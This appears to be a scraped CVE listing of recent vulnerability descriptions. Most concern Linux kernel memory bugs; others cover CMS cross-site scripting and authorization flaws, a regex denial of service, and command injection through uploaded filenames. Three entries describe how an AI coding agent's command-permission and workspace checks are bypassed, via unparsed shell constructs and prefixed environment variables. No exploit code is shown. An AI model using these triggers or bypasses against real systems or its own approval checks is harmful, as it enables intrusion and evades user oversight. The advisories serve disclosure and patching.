CVE-2026-89496	In the Linux kernel, the following vulnerability has been resolved: ocfs2: always run deallocs on copy-on-write completion Local fuzzing of 6.12.94 has found the following memory leak caused by doing 'copy_file_range()' within the same filesystem: unreferenced object 0xffff88812192c980 (size 32): comm "syz.0.49", pid 12095, jiffies 4294964143 hex dump (first 32 bytes): 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 ..... c0 c5 92 21 81 88 ff ff 00 02 00 00 00 06 00 00 ...!..... backtrace (crc 7068d63f): kmemleak_alloc_recursive include/linux/kmemleak.h:42 [inline] slab_post_alloc_hook mm/slub.c:4152 [inline] slab_alloc_node mm/slub.c:4197 [inline] __kmalloc_cache_noprof+0x168/0x2c0 mm/slub.c:4358 kmalloc_noprof include/linux/slab.h:878 [inline] ocfs2_find_per_slot_free_list fs/ocfs2/alloc.c:6618 [inline] ocfs2_cache_block_dealloc+0x155/0x4b0 fs/ocfs2/alloc.c:6786 ocfs2_cache_extent_block_free fs/ocfs2/alloc.c:6819 [inline] ocfs2_unlink_path+0x286/0x450 fs/ocfs2/alloc.c:2613 ocfs2_rotate_subtree_left fs/ocfs2/alloc.c:2779 [inline] __ocfs2_rotate_tree_left+0x1f6f/0x2da0 fs/ocfs2/alloc.c:2985 ocfs2_rotate_tree_left+0x283/0xe00 fs/ocfs2/alloc.c:3237 ocfs2_try_to_merge_extent+0xf56/0x1a20 fs/ocfs2/alloc.c:3825 ocfs2_split_extent+0x15f4/0x2940 fs/ocfs2/alloc.c:5138 ocfs2_clear_ext_refcount+0x2f6/0x550 fs/ocfs2/refcounttree.c:3098 ocfs2_replace_clusters fs/ocfs2/refcounttree.c:3131 [inline] ocfs2_make_clusters_writable fs/ocfs2/refcounttree.c:3255 [inline] ocfs2_replace_cow+0x991/0x1660 fs/ocfs2/refcounttree.c:3349 ocfs2_refcount_cow_hunk fs/ocfs2/refcounttree.c:3427 [inline] ocfs2_refcount_cow+0x5e1/0x9f0 fs/ocfs2/refcounttree.c:3470 ocfs2_prepare_inode_for_write fs/ocfs2/file.c:2340 [inline] ocfs2_file_write_iter+0xbda/0x1880 fs/ocfs2/file.c:2451 iter_file_splice_write+0x890/0xf60 fs/splice.c:743 do_splice_from fs/splice.c:944 [inline] direct_splice_actor+0x232/0x480 fs/splice.c:1167 splice_direct_to_actor+0x4b4/0xb60 fs/splice.c:1111 do_splice_direct_actor fs/splice.c:1210 [inline] do_splice_direct+0x10f/0x1c0 fs/splice.c:1236 do_sendfile+0x430/0xbf0 fs/read_write.c:1388 unreferenced object 0xffff88812192c5c0 (size 32): comm "syz.0.49", pid 12095, jiffies 4294964143 hex dump (first 32 bytes): 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..... 29 70 00 00 00 00 00 00 19 00 00 00 00 00 00 00)p..... backtrace (crc afec850f): kmemleak_alloc_recursive include/linux/kmemleak.h:42 [inline] slab_post_alloc_hook mm/slub.c:4152 [inline] slab_alloc_node mm/slub.c:4197 [inline] __kmalloc_cache_noprof+0x168/0x2c0 mm/slub.c:4358 kmalloc_noprof include/linux/slab.h:878 [inline] kzalloc_noprof include/linux/slab.h:1014 [inline] ocfs2_cache_block_dealloc+0x25c/0x4b0 fs/ocfs2/alloc.c:6793 ocfs2_cache_extent_block_free fs/ocfs2/alloc.c:6819 [inline] ocfs2_unlink_path+0x286/0x450 fs/ocfs2/alloc.c:2613 ocfs2_rotate_subtree_left	N/A	More Details

	fs/ocfs2/alloc.c:2779 [inline] __ocfs2_rotate_tree_left+0x1f6f/0x2da0 fs/ocfs2/alloc.c:2985 ocfs2_rotate_tree_left+0x283/0xe00 fs/ocfs2/alloc.c:3237 ocfs2_try_to_merge_extent+0xf56/0x1a20 fs/ocfs2/alloc.c:3825 ocfs2_split_extent+0x15f4/0x2940 fs/ocfs2/alloc.c:5138 ocfs2_clear_ext_refcount+0x2f6/0x550 fs/ocfs2/refcounttree.c:3098 ocfs2_replace_clusters fs/ocfs2/refcounttree.c:3131 [inline] ocfs2_make_clusters_writable fs/ocfs2/refcounttree.c:3255 [inline] ocfs2_replace_cow+0x991/0x1660 fs/ocfs2/refcounttree.c:3349 ocfs2_refcount_cow_hunk fs/ocfs2/refcounttree.c:3427 [inline] ocfs2_refcount_cow+0x5e1/0x9f0 fs/ocfs2/refcounttree.c:3470 ocfs2_prepare_inode_for_write fs/ocfs2/file.c:2340 [inline] ocfs2_file_write_iter+0xbda/0x1880 fs/ocfs2/file.c:2451 iter_file_splice_write+0x890/0xf60 fs/splice.c:743 do_splice_from fs/splice.c:9 ---truncated---		
CVE-2026-89604	In the Linux kernel, the following vulnerability has been resolved: efivarfs: Rate limit statfs() handler Ravi reports that statfs() may be called by unprivileged users on the efivarfs mount point, which may result in a flood of calls to the QueryVariableInfo() runtime service. These calls are disproportionately costly on x86 systems where the variable store is backed by SMM, as each SMM entry requires a rendez-vous of all the CPUs. So rate limit the calls to QueryVariableInfo() at twice per second, and return the most recently obtained value for calls that are elided.	N/A	More Details
CVE-2026-89498	In the Linux kernel, the following vulnerability has been resolved: orangefs: fix double-free of trailer_buf on readdir copy failure On a readdir downcall, orangefs_devreq_write_iter() frees op->downcall.trailer_buf with vfree() when copy_from_iter_full() fails, but does not clear the pointer before goto Efault. The waiter in do_readdir() is then woken with a negative status and frees the same pointer again on its r < 0 path, causing a deterministic double-free. A client holding /dev/pvfs2-req triggers it by sending a readdir downcall whose declared trailer_size exceeds the bytes it supplies. Clear the pointer after freeing so the readdir-side vfree() becomes a no-op.	N/A	More Details
CVE-2026-89502	In the Linux kernel, the following vulnerability has been resolved: ring-buffer: Free cpu_buffer::free_page with subbuf_order When sub-buffers use an order greater than 0, cpu_buffer->free_page is allocated with subbuf_order. Use the correct order for cpu_buffer->free_page.	N/A	More Details
CVE-2026-89505	In the Linux kernel, the following vulnerability has been resolved: RDMA/uverbs: Guard legacy bundles without method_elm The legacy write() path dispatches through a uverbs_api_write_method, but the uverbs_attr_bundle passed to provider code does not have an ioctl method element. If malformed provider input causes the common uverbs validation code to emit an error message, uverbs_get_handler_fn() dereferences the uninitialized method_elm pointer. Initialize method_elm explicitly for legacy bundles and make uverbs_get_handler_fn() return NULL when no ioctl method is present. The legacy dispatcher continues to use its local write method, while the ioctl path continues to use the registered ioctl handler.	N/A	More Details
CVE-2026-89506	In the Linux kernel, the following vulnerability has been resolved: RDMA/uverbs: Add UVERBS_ATTR_UHW to UVERBS_METHOD_REG_MR The original commit missed that three drivers (mthca, irdma, siw) have UHW data associated with reg_mr that cannot be passed through the ioctl. They also assume that the udata cannot be NULL, so failing to pass a valid udata can trigger a NULL udata crash in those drivers. This never happens in real systems since in rdma-core ibv_cmd_reg_mr_ex() does not accept a udata and those three drivers don't use it, however a malicious userspace could trigger it.	N/A	More Details
CVE-2026-89509	In the Linux kernel, the following vulnerability has been resolved: RDMA/ionic: Embed counter driver data in rdma_counter allocation Commit 7e53b31acc7f ("RDMA/core: Create and destroy rdma_counter using rdma_zalloc_drv_obj()") requires drivers implementing counter ops to embed struct rdma_counter in a driver-specific struct, register its size via INIT_RDMA_OBJ_SIZE, and provide a counter_init callback. The ionic driver was merged without this adaptation, causing a NULL pointer dereference in alloc_and_bind() since rdma_zalloc_drv_obj() allocates zero bytes when size_rdma_counter is unset. Consolidate struct ionic_counter into a new struct ionic_rdma_counter that embeds struct rdma_counter, replace the xarray with a lightweight ida for ID allocation, and add the required counter_init and INIT_RDMA_OBJ_SIZE declarations.	N/A	More Details
	In the Linux kernel, the following vulnerability has been resolved: fbdev: ssd1307fb: defer I2C transfers from damage callbacks The fbdev damage callbacks may run from fbcon while printk has disabled preemption. They currently update the display synchronously, which enters the sleeping I2C transfer path from atomic context. A complete report from an RK3566 system follows: [258.129004] watchdog: watchdog0: watchdog did not stop! [258.129067] BUG: scheduling while atomic: systemd/1/0x00000003 [258.129076] Modules linked in: algif_hash algif_skcipher af_alg bnep binfmt_misc lz4hc lz4 zram snd_soc_hdmi_codec brcmfmac_wcc hci_uart fb_ssd1306(C) fbtft(C) btqca btrtl btintel btsdio snd_soc_simple_card motorcomm pwm_fan snd_soc_simple_card_utils ssd130x_spi nls_iso8859_1 ssd130x btbcm drm_shmem_helper display_connector brcmfmac ssd1307fb brcmutil bluetooth cfg80211 rfkill snd_soc_rockchip_i2s_tdm snd_soc_rk817 hantro_vpu snd_soc_core snd_compress snd_pcm_dmaengine v4l2_vp9 snd_pcm v4l2_h264 rockchip_rga snd_timer rk_crypto2 spi_rockchip_sfc videobuf2_dma_contig snd sm3_generic v4l2_mem2mem videobuf2_dma_sg dwmac_rk sm3 soundcore videobuf2_memops videobuf2_v4l2 stmmac_platform dw_hdmi_cec videodev videobuf2_common dw_hdmi_i2s_audio stmmac rk817_charger pcs_xpcs mc cpufreq_dt sch_fq_codel ip_tables x_tables autofs4 [258.129215] Preemption disabled at: [258.129216] [<ffff80008012f96c>] vprintk_emit+0x11c/0x340 [258.129234] CPU: 0 PID: 1 Comm: systemd Tainted: G C 6.6.0-rc5-rockchip-rk356x #4 [258.129239] Hardware name: Rockchip RK3566 OPi 3B (DT) [258.129243] Call trace: [258.129245] dump_backtrace+0xa0/0x128 [258.129252] show_stack+0x20/0x38 [258.129256]		

CVE-2026-89598	dump_stack_lvl+0x60/0xb0 [258.129265] dump_stack+0x18/0x28 [258.129269] __schedule_bug+0xa0/0xc8 [258.129274] __schedule+0x9ac/0xd30 [258.129279] schedule+0x60/0x100 [258.129282] schedule_timeout+0x194/0x338 [258.129289] rk3x_i2c_xfer_common.isra.0+0x384/0x498 [258.129296] rk3x_i2c_xfer+0x20/0x60 [258.129300] __i2c_transfer+0x194/0x648 [258.129308] i2c_transfer+0x9c/0x130 [258.129313] i2c_transfer_buffer_flags+0x64/0x98 [258.129318] ssd1307fb_update_rect+0x42c/0x560 [ssd1307fb] [258.129334] ssd1307fb_defio_imageblit+0x34/0x50 [ssd1307fb] [258.129343] soft_cursor+0x13c/0x210 [258.129350] bit_cursor+0x2dc/0x550 [258.129354] fbcon_cursor+0xec/0x108 [258.129359] hide_cursor+0x44/0xc8 [258.129365] vt_console_print+0x398/0x3b0 [258.129370] console_flush_all.isra.0+0x17c/0x410 [258.129377] console_unlock+0x4c/0x100 [258.129382] vprintk_emit+0x1c8/0x340 [258.129386] vprintk_default+0x40/0x58 [258.129389] vprintk+0xb8/0xd0 [258.129392] _printk+0x68/0x98 [258.129398] watchdog_release+0x170/0x230 [258.129404] __fput+0xbc/0x288 [258.129409] __fput_sync+0x58/0x70 [258.129413] __arm64_sys_close+0x40/0x90 [258.129419] invoke_syscall+0x4c/0x118 [258.129426] el0_svc_common.constprop.0+0x48/0xf0 [258.129432] do_el0_svc+0x24/0x38 [258.129437] el0_svc+0x48/0x100 [258.129443] el0t_64_sync_handler+0xc0/0xc8 [258.129448] el0t_64_sync+0x190/0x198 [258.573087] ------------[cut here]------------ [258.573098] DEBUG_LOCKS_WARN_ON(val > preempt_count()) [258.573111] WARNING: CPU: 0 PID: 1 at kernel/sched/core.c:5871 preempt_count_sub+0x9c/0x148 [258.573130] Modules linked in: algif_hash algif_skcipher af_alg bnep binfmt_misc lz4hc lz4 zram snd_soc_hdmi_codec brcmfmac_wcc hci_uart fb_ssd1306(C) fbtft(C) btqca btrtl btintel btsdio snd_soc_simple_card motorcomm pwm_fan snd_soc_simple_card_utils ssd130x_spi nls_iso8859_1 ssd130x btbcm drm_shmem_helper display_connector brcmfmac ssd1307fb brcmutil bluetooth cfg80211 rfkill snd_soc_rockchip_i2s_tdm snd_soc_rk817 hantro_vpu snd_soc_core snd_compress snd_pcm_dmaengine v4l2_vp ---truncated---	N/A	More Details
CVE-2026-89512	In the Linux kernel, the following vulnerability has been resolved: remoteproc: scp: Fix device reference leak on failed lookup Make sure to drop the reference taken to the SCP device when attempting to look up its driver data before the driver has been bound. Note that holding a reference to a device does not prevent its driver data from going away.	N/A	More Details
CVE-2026-89716	In the Linux kernel, the following vulnerability has been resolved: zram: validate deflate params We must validate user-supplied deflate winbits before we pass it to zlib_deflate_workspacesize(), which triggers BUG_ON() if winbits value is outside of valid ranges.	N/A	More Details
CVE-2026-89718	In the Linux kernel, the following vulnerability has been resolved: zram: fix out-of-bounds access in writeback_store() Patch series "zram: fix stale scan bounds after reinitialization". Both writeback_store() and read_block_state() derive their table scan bounds from zram->disksize before acquiring dev_lock. If the device is reset and reinitialized with a smaller disksize between that read and lock acquisition, the bound can describe the old table while the scan operates on the new one. This can lead to out-of-bounds slot accesses. Move both bound calculations under dev_lock so each bound remains consistent with the table throughout its scan. Keep the fixes separate because the affected interfaces originate from different commits and can be backported independently. This patch (of 2): writeback_store() calculates the table scan bounds before taking dev_lock. A reset followed by reconfiguration with a smaller disksize can therefore replace zram->table while writeback_store() is waiting for the lock. Once it acquires the lock, it sees an initialized device but scans the new table using the old upper bound, resulting in an out-of-bounds access. Calculate the number of pages while holding dev_lock so the scan bound matches the table protected by the lock.	N/A	More Details
CVE-2026-89567	In the Linux kernel, the following vulnerability has been resolved: jbd2: bound shrinker scans by examined checkpoint buffers The jbd2 shrinker currently accounts only checkpoint buffers that it successfully releases against nr_to_scan. Busy buffers therefore do not consume the scan budget. If a checkpoint transaction contains mostly busy buffers, the shrinker can scan its entire checkpoint list while holding journal->j_list_lock. Large checkpoint lists can result in excessive lock hold times and leave other CPUs spinning on j_list_lock, causing soft lockups or RCU stalls. Pass nr_to_scan into journal_shrink_one_cp_list() and decrement it for every buffer examined, including busy buffers. Pass NULL from checkpoint cleanup paths so their existing full-list behavior is preserved. This restores the scan-budget semantics that existed before journal_shrink_one_cp_list() was changed to always scan a complete checkpoint list.	N/A	More Details
CVE-2026-87986	An arbitrary code execution vulnerability in Mistral Vibe allows an attacker to bypass command permission checks using shell constructs it's parser cannot interpret. Unparsed portions are omitted from inspection, enabling embedded commands to execute on the user's system without approval.	N/A	More Details
CVE-2026-87988	An arbitrary file access vulnerability in Mistral Vibe allows an attacker to bypass workspace restrictions through commands classified as unconditionally allowed. Missing path validation for these commands enables access to files outside the active workspace without user approval.	N/A	More Details
CVE-2026-3869	CWE-303 : Incorrect Implementation of Authentication Algorithm vulnerability exists that could cause loss of confidentiality, integrity and availability of the PLC provided an application project with a lower application level is running on the PLC.	N/A	More Details
CVE-2026-81861	CWE-522: Insufficiently Protected Credentials vulnerability that could result in exposure of authentication information and unauthorized access to RTU functionality.	N/A	More Details

CVE-2026-87122	Rejected reason: ** REJECT ** DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2026-85984. Reason: This candidate is a reservation duplicate of CVE-2026-85984. Notes: All CVE users should reference CVE-2026-85984 instead of this candidate. All references and descriptions in this candidate have been removed to prevent accidental usage.	N/A	More Details
CVE-2026-49992	Kimai is an open-source time tracking application. Versions prior to 2.58.0 contain authenticated cross-site request forgery issues in their default team creation shortcuts for projects, customers, and activities. These endpoints are exposed through `GET` routes and directly create or reuse a `Team`, add the current user as teamlead, and bind the target object to that team. As a result, an attacker can trick a logged-in user with the required permissions into visiting a malicious page and cause unauthorized changes to team, teamlead, and object-binding relationships. This is a real authorization-structure modification issue rather than a harmless UI shortcut. Version 2.58.0 patches the issue.	N/A	More Details
CVE-2026-54047	Laci Synchroni is a decentralized mod and appearance sync server and plugin for Dalamud. Versions of the backend prior to 1.2.3 have an improper authentication vulnerability in the application's OAuth2 login flow. The application relies on client-side state by trusting the `UID` field inside the `Authentications` object of a user's local `config.json` file. By manually editing this local file on their PC prior to logging in, a user can supply an arbitrary UID. Because the server fails to validate that the authenticated OAuth2 identity matches the requested UID, an attacker can fully impersonate any target user and perform actions on their behalf. This issue has been resolved in version 1.2.3. The patch modifies `AuthorizeOauthAsync` inside the `SecretKeyAuthenticatorService` to strictly bind the lookup of the requested User ID (`requestedUid`) to the record of the successfully authenticated identity (`primaryUid`). The server will no longer load or return session tokens for a requested UID unless it matches the verified, authenticated database record. No known workarounds are available.	N/A	More Details
CVE-2026-18122	Concrete CMS 9.2.0 to 9.5.2 Express REST API list endpoint exposes restricted Express entries via Missing Authorization; the Concrete CMS REST API's Express entry collection endpoint disabled the per-entry view permission check. An OAuth token with read scope for an Express entity could enumerate entries that its user context lacked permission to view, disclosing each entry's public identifier, URL, label, dates, and any attribute or associated-entry data requested via the includes parameter. The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 6.0 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N. Thanks riodrwn for reporting.	N/A	More Details
CVE-2026-45056	matrix-sdk-crypto is a no-network-IO implementation of a state machine that handles end-to-end encryption for Matrix clients. Starting in version 0.12.0 and prior to version 0.17.0, the matrix-sdk-crypto crate was missing a check for the user ID when decrypting an Olm-encrypted event containing the `sender_device_keys` property. This could be exploited to forge an encrypted to-device event, but only if the attacker colludes with the homeserver operator. This issue is fixed in matrix-sdk-crypto 0.17.0. There are no known workarounds for the issue.	N/A	More Details
CVE-2026-44715	OpenMRS is an open source electronic medical record system platform. Prior to versions 1.23.0 and 2.10.0, an authenticated user can trigger administrative DWR services. Specifically, the `startHl7ArchiveMigration` method is accessible, which should be restricted to admin-level accounts. Versions 1.23.0 and 2.10.0 patch the issue.	N/A	More Details
CVE-2026-81918	Concrete CMS below 9.5.3 is vulnerable to Stored XSS via the Date Format field in the Page Attribute Display block. A user with edit_page_contents permissions could store a payload which executes in the browser of any visitor who viewed a page where the block was configured to display a date-type attribute. The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 4.8 with vector CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N. Thanks Oriol Ortiz for reporting.	N/A	More Details
CVE-2026-81917	Concrete CMS below 9.5.3 does not apply HTML output escaping to the file description and tags fields when rendering the Document Library block, so a user with permission to edit file properties could store a script payload that executed in the browser of any visitor to a page displaying the block with the description or tags column enabled, including unauthenticated visitors. Successful exploitation could allow theft of session data or actions performed in the visitor's context. The block controller returned the description and tags values without the h() escaping already applied to the title column, and the block view template wrote the returned value directly into the results table The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 5.1 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:N/SC:H/SI:H/SA:N. Thanks Nguyen Manh Thuan for reporting.	N/A	More Details
CVE-2026-81907	Concrete CMS 9.5.2 and below is vulnerable to Cross-Site Request Forgery (CSRF) in the Express "Clear Entries" function (POST /index.php/dashboard/system/express/entities/delete_entries) because the controller records but does not enforce a failed CSRF token check, allowing the destructive operation to proceed when the token is missing or invalid. A remote unauthenticated attacker can force an authenticated administrator who visits an attacker-controlled page to permanently delete all entries belonging to an attacker-selected Express entity on a web application to which the administrator is currently authenticated. Because the default Contact Express object ships with a fixed entity UUID, the target identifier can be obtained without dashboard access. The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 6.1 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N. Thanks Pratik Zanjurne for reporting.	N/A	More Details

CVE-2026-68535	Concrete CMS Area API's block-create endpoint in versions 9.2.0 to 9.5.2 did not invoke the block type controller's validate() method on submitted data, which, for file-referencing blocks such as hero_image and gallery, is where the referenced file is authorized against the user's file-manager visibility. As a result, an authenticated user holding the block-add scope could store, and cause the page to render, a reference to a file that the file-manager authorization policy would otherwise reject, disclosing that file's URL and preview to the editor and to visitors of the affected page. Under public file storage, the URL and thumbnail are exposed directly; under private storage, the disclosure is limited by the permission-checked download URL. The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 5.1 with vector CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N. Thanks riodrwn for reporting.	N/A	More Details
CVE-2026-68528	Concrete CMS RSS Displayer block below version 9.5.3 rendered remote feed item titles without HTML escaping, resulting in stored cross-site scripting. An attacker able to control a title in a syndicated feed could execute script in the site origin for any visitor to the affected page, including administrators, without holding an account on that site. The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 6.0 with vector CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N. Thanks riodrwn for reporting.	N/A	More Details
CVE-2026-81908	Concrete CMS 9.2.0 to 9.5.2 contain a missing authorization vulnerability in the REST API Groups list endpoint. The listGroups() method in concrete/src/Api/Controller/Groups.php registers a permissions checker callback that unconditionally returns true, so no per-object (tree node) authorization is enforced when the group collection is returned. An authenticated user whose API token carries the groups:read scope can call GET /ccm/api/1.0/groups and receive every group on the site regardless of the view permissions on those groups, disclosing the organization's group structure, roles, and access hierarchy. The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 6.0 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N. Thanks Winston Crooker for reporting.	N/A	More Details
CVE-2026-54165	Dobase is an open-source, self-hosted workspace with installable tools. Versions prior to 2026.06.03 have a one-click stored DOM-based cross-site scripting (XSS) vulnerability in the public, unauthenticated shared-folder image gallery. A file's `name` is fully attacker-controlled and is never sanitized. It is round-tripped through an ERB-escaped `data-name` attribute, decoded back to its raw value by `el.dataset.name`, and then re-injected into `innerHTML` by the `public-gallery` Stimulus controller with no escaping. Any authenticated workspace member who can share a Files folder can store a payload; the victim is anyone with the public share link (no authentication required). The global Content-Security-Policy is sent report-only (not enforcing), so an inline `onerror` handler executes — this is an executing XSS, not a CSP-mitigated injection. Version 2026.06.03 fixes the issue.	N/A	More Details
CVE-2026-50025	Mousehole is a background service to update a seedbox IP for MAM and web app to manage it. Prior to version 0.4.05, Mousehole's HTTP/WebSocket management boundary is reachable without application-layer authentication or browser/LAN provenance checks. The service stores a MyAnonamouse (MAM) session cookie in state and reuses the same cookie-bearing serialization for persisted state, public API responses, and WebSocket state updates. Any client that can reach the published Mousehole port can read cookie-bearing state, connect to WebSocket state updates, replace the stored cookie, or force MAM update side effects. The deployment examples publish port 5010 broadly with Docker's `5010:5010` syntax, which can make the issue reachable on mixed-trust LAN/VPN interfaces. Version 0.4.0 patches the issue.	N/A	More Details
CVE-2026-49865	Kimai is an open-source time tracking application. Versions prior to 2.58.0 contain a server-side request forgery vulnerability in their invoice PDF preview and generation workflow. If an attacker can control Markdown content that is later rendered into an invoice PDF, such as `Customer.invoiceText`, the server-side PDF renderer will fetch remote image URLs embedded in Markdown image syntax. This allows the application server to issue outbound requests to attacker-controlled or internal targets during PDF rendering. The behavior can be used for internal network probing, server-side reachability checks, and potentially follow-on exploitation depending on deployment environment and accessible internal services. Version 2.58.0 patches the issue.	N/A	More Details
CVE-2026-81909	Concrete CMS 9 through 9.5.2 is vulnerable to Missing Authorization in the block alias route (Process::alias() in concrete/controllers/backend/block/process.php).It does not verify that the referenced block is genuinely orphaned on the target page, nor that the caller holds any permission over the source block. A user granted only an area-scoped add_block_to_area delegation on their own page can therefore pass any block ID on the site: the source block's content is duplicated into an area the rogue editor controls, disclosing that content, and the original block is then force-deleted in the same request, destroying arbitrary site content. The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 5.9 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N. Thanks Yonatan Drori from Tenzai for reporting.	N/A	More Details
	The two built-in name-finder patterns exposed by opennlp.tools.namefind.RegexNameFinderFactory - DEFAULT_REGEX_NAME_FINDER.EMAIL and DEFAULT_REGEX_NAME_FINDER.URL - contain ambiguous nested quantifiers. An application that obtains these finders through RegexNameFinderFactory.getDefaultRegexNameFinders(...) and then applies them to untrusted text through RegexNameFinder.find(String[]) or RegexNameFinder.find(String) can be driven into super-linear backtracking or into unbounded matcher recursion by a small crafted input. For the EMAIL pattern, a long run of local-part characters that is never followed by an @ forces the matcher to re-scan to end-of-input from		

CVE-2026-82617	every starting offset. Cost grows quadratically with input length: an input of approximately 32 KB consumes several seconds of CPU in a single find() call and returns no match, and each doubling of the input multiplies the cost roughly four-fold. For the URL pattern, the query-string sub-expression nests a capturing repetition inside an outer repetition. The JDK matcher recurses once per query token, so an input of approximately 4 KB containing many &-separated tokens exhausts the thread stack and causes java.lang.StackOverflowError to propagate out of find(), terminating the calling thread. On a thread created with a smaller stack (for example -Xss512k, typical of server worker pools) approximately 1 KB is sufficient. In both cases an attacker who can supply text for analysis can convert a single request into seconds to minutes of pinned CPU, or into an abrupt thread death, denying service to the embedding application. No authentication, special configuration, or model file is required beyond the application having selected one of the two built-in finders. This issue affects Apache OpenNLP: from 2.0.0 through 2.5.11; from 3.0.0-M1 through 3.0.0-M5. Users are recommended to upgrade to version 2.5.12, or to 3.0.0-M6 for users tracking the 3.0.0 milestone line, which fix the issue.	N/A	More Details
CVE-2026-48490	ArduinoCore-avr contains the source code and configuration files of the Arduino AVR Boards platform. A vulnerability in versions prior to 1.8.8 allows an attacker to trigger a stack-based buffer overflow when concatenating floating-point values of sufficiently large magnitude onto an Arduino String object. By passing values near the extremes of the float or double range to `String::concat(float)`, `String::concat(double)`, `String::operator+=()`, or the `+` operator with a float/double operand, `dtostrf()` writes beyond the fixed-size stack buffer, causing memory corruption and denial of service. Under specific conditions, this could enable arbitrary code execution on AVR-based Arduino boards. The fix is included starting from the `1.8.8 `release.	N/A	More Details
CVE-2026-47773	ArduinoBLE enables Bluetooth Low Energy connectivity on certain Arduino models. Versions prior to 2.0.2 contain a missing bounds check in the ATT layer write request handler that allows a remote, unauthenticated BLE client to corrupt memory in the ATTClass global object. Devices running ArduinoBLE with one or more characteristics configured with the BLEEncryption property are affected. The fix is included starting from the 2.0.2 release.	N/A	More Details
CVE-2026-87910	When tarfile extracts a link on a system that doesn't support links, it falls back to extracting a member from the archive. In this case, the filter function is run twice: once for the extracted member, and once with name set to the location of the link. For one of the calls, the return value was ignored. Instead, the member should be skipped if either call returns None.	N/A	More Details
CVE-2026-87987	An arbitrary code execution vulnerability in Mistral Vibe allows an attacker to bypass command permission checks using environment variable assignments preceding allowlisted commands. These assignments are excluded from inspection, enabling attacker-controlled environment variables to cause arbitrary code execution without user approval.	N/A	More Details
CVE-2026-90443	A web interface reflects a portion of the request URL into a script context and a hyperlink attribute without adequate encoding, and does not require authentication to reach. This allows an unauthenticated network attacker to craft a link that, when visited by a user, executes arbitrary script in the context of the affected application and can redirect the user's browser to an arbitrary external site. Successful exploitation could allow an attacker to act with the compromised user's session privileges within the application.	N/A	More Details
CVE-2026-89772	In the Linux kernel, the following vulnerability has been resolved: btrfs: write-protect folios during data writeback commit 095be159f3eb ("btrfs: unify folio dirty flag clearing") replaced the folio_clear_dirty_for_io() call in extent_write_cache_pages() with a plain folio_test_dirty() check. Besides clearing the dirty flag, folio_clear_dirty_for_io() also calls folio_mkclean(), which write-protects the shared mmap PTEs mapping the folio. Note that we still do call folio_clear_dirty_for_io() later in submit_one_sector() when we clear dirty on the last sector of the folio (the only sector for non-subpage cases). But we lost this early call in extent_write_cache_pages(). Without the extra write-protection, a process with the file mmap-ed can modify a sector while it is being used by writeback in a way that expects a stable folio (checksumming, compressing, copying, etc...) without faulting, which manifests as a handful of concrete bugs. 1. For large folios or subpage sectorsize, it is possible to submit a bio which does not cover the whole folio. When this happens, we will have a bio in flight for a folio that we have *not* called folio_clear_dirty_for_io() on. If a task with an existing mmap-ed PTE writes (without faulting..) in this window, it can result in corruptions. If the write arrives while the checksumming or writing itself is underway, this can result in an invalid checksum and later corruption reports on read. If the write arrives after checksumming/writing is done but before the last sector dirty is cleared, then the write is present in page cache but doesn't affect the dirty tracking and will be lost when the folio is fully finished being submitted and the dirty bit is cleared. This results in losing the write even if fsync() is called. 2. For zoned submissions which are done in batch separate from the main extent_writepage() loop, we also risk csum violations for those submissions. Zoned writes are clamped to max_zone_append_size and are not aligned with folios, so a submission can span two folios. The first folio being processed in extent_write_cache_pages() will call extent_write_locked_range() which will submit the partial range of the next folio, while the rest of that folio could still be dirty. So clearing dirty on the submitted sectors doesn't call folio_clear_dirty_for_io() and we have the same issue. Since extent_write_cache_pages() skips these batch submitted folios (they are already marked for writeback from submission by the preceding folio), we must add the extra write protection in lock_delalloc_folios(). 3. For inline extents this will subtly risk losing writes that happen after/while we copy the inline extent but before we clear dirty on the folio. 4. For folios spanning EOF, mmap could tamper with the zeroed bytes past EOF and cause them to be persisted where future faults would improperly see them instead of zeros. 5. Finally, for compressed extents, we risk modifying the folios	N/A	More Details

	while we work on compressing them which will result in corrupted compressed data. Specifically, in run_delalloc_compressed() we queue up work to do compress_file_range() in BTRFS_COMPRESSION_CHUNK_SIZE (512K) chunks which will call btrfs_folio_clamp_clear_dirty() on the range. For non-subpage, this will always clear the whole folio, safely. For subpage, we risk a partial clear here as well. In particular, imagine a 2M folio broken up into 512K chunks of work which might start compression work on one chunk before all the chunks compress_file_range() workers have gotten far enough to finish clearing all the dirty bitmaps of the folio and getting to folio_clear_dirty_for_io(). Large folios on the edges of submission ranges are similarly at risk to be only partly cleared. This particular gap was introduced by a second patch in the same series: commit a4ef54dbb576 ("btrfs: make extent_range_clear_dirty_for_io() to handle sector size < page size cases") We cannot simply restore the call to folio_clear ---truncated---		
CVE-2026-90444	A file-transfer interface that requires valid credentials accepts attacker-controlled filenames without restricting shell metacharacters. An automated process later constructs and runs a system command using the uploaded file's name, allowing an authenticated attacker to embed and execute arbitrary operating system commands with the privileges of that process. This allows an attacker to read and modify ingested log data, and could provide a foothold for further movement within the internal network.	N/A	More Details
CVE-2025-15679	Under certain circumstances such as reset to factory default operation, the BMC root account is made active without a password on BullSequana XH3406 and XH3515.	N/A	More Details
